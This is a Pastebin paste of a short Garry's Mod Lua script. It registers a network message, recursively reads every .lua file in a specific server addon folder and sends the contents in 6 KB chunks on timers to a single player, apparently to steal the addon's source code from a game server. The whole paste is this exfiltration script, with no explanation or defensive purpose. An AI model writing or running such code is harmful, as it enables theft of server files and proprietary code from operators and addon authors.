MeepDarknessMeep

test

Oct 30th, 2014
325
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.85 KB | None | 0 0
  1.  
  2.  
  3. util.AddNetworkString[[hagger]]
  4.  
  5. local r;
  6.  
  7. local send = {};
  8. local count = 0;
  9. function r(q, e)
  10.     local fs, ds = file.Find(q.."*", "GAME");
  11.     for k,v in pairs(ds) do
  12.         r(q..v.."/");
  13.     end
  14.     for k,v in pairs(fs) do
  15.         if(v:sub(-4) ~= ".lua") then continue; end
  16.         timer.Simple(count, function() send[q..v] = file.Read(q..v, "GAME") end);
  17.         count = count + 0.05;
  18.     end
  19.    
  20.     if(e) then print(count); timer.Simple(count + 1, e); end
  21. end
  22. r("addons/brassx_inventory/", function()
  23.     local current;
  24.     local count = 0;
  25.     local persec = 1024 * 6; -- 6 kb
  26.     for k,v in pairs(send) do
  27.         while(v:len() > 0) do
  28.             local a = v:sub(1, persec);
  29.             timer.Simple(count, function()
  30.                 net.Start[[hagger]]
  31.                     net.WriteString(k);
  32.                     net.WriteString(a);
  33.                 net.Send(me);
  34.             end)
  35.             v = v:sub(persec + 1);
  36.             count = count + 1;
  37.         end
  38.     end
  39.     print(count);
  40. end);
Advertisement
Add Comment
Please, Sign In to add comment